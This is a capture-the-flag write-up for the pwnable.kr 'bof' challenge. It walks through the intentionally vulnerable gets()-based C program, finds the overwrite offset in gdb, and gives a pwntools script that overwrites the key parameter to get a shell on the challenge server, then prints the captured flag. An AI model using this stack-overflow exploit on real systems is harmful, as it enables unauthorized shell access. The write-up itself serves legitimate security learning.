Challenge Description
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
ssh bof@pwnable.kr -p2222 (pw: guest)
Connecting:
ssh bof@pwnable.kr -p2222
Running ls gives:
bof bof.c readme
The readme says:
bof binary is running at "nc 0 9000" under bof_pwn privilege. get shell and read flag
Reading the source code
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
There is a stack buffer overflow in the func function. The buffer is 32 bytes, and the program uses the unsafe gets() function which doesn't check bounds. The goal is to overflow the buffer and overwrite the key parameter from 0xdeadbeef to 0xcafebabe.
Running checksec --file=./bof we see:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Interestingly, the stack canary is found, for the stack buffer overflows should be detected!
A stack canary is a random value that is placed on the stack before the return address. This string is checked before the flow returns to the calling code. This way, the program can detect if stack buffer overflow happened and crash the program with stack smashing detected.
Luckily, in this program we don't really need to deal with the stack canary at all - instead, the shell is called inside func before the function returns, so the canary check never happens.
Finding the offset
I used gdb with a cyclic pattern to find the exact offset:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Setting a breakpoint at the comparison instruction:
0x5655623c <func+63> cmp dword ptr [ebp + 8], 0xcafebabe
The key parameter lives at ebp+8 (standard x86 calling convention—parameters are pushed onto the stack above the saved base pointer). Examining the stack:
0e:0038│ ebp 0xffffdba8 ◂— ...
10:0040│+008 0xffffdbb0 ◂— 'naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
The pattern naaa appears at ebp+8, giving me the offset needed to overwrite the parameter.
Exploitation
from pwn import *
offset = cyclic_find('naaa')
payload = b'a' * offset
payload += p32(0xcafebabe)
conn = remote('pwnable.kr', 9000)
conn.sendline(payload)
conn.interactive()
Running the exploit:
python3 exploit.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ whoami
bof_pwn
$ ls
bof
bof.c
flag
log
super.pl
$ cat flag
Daddy_I_just_pwned_a_buff3r!
Yay :)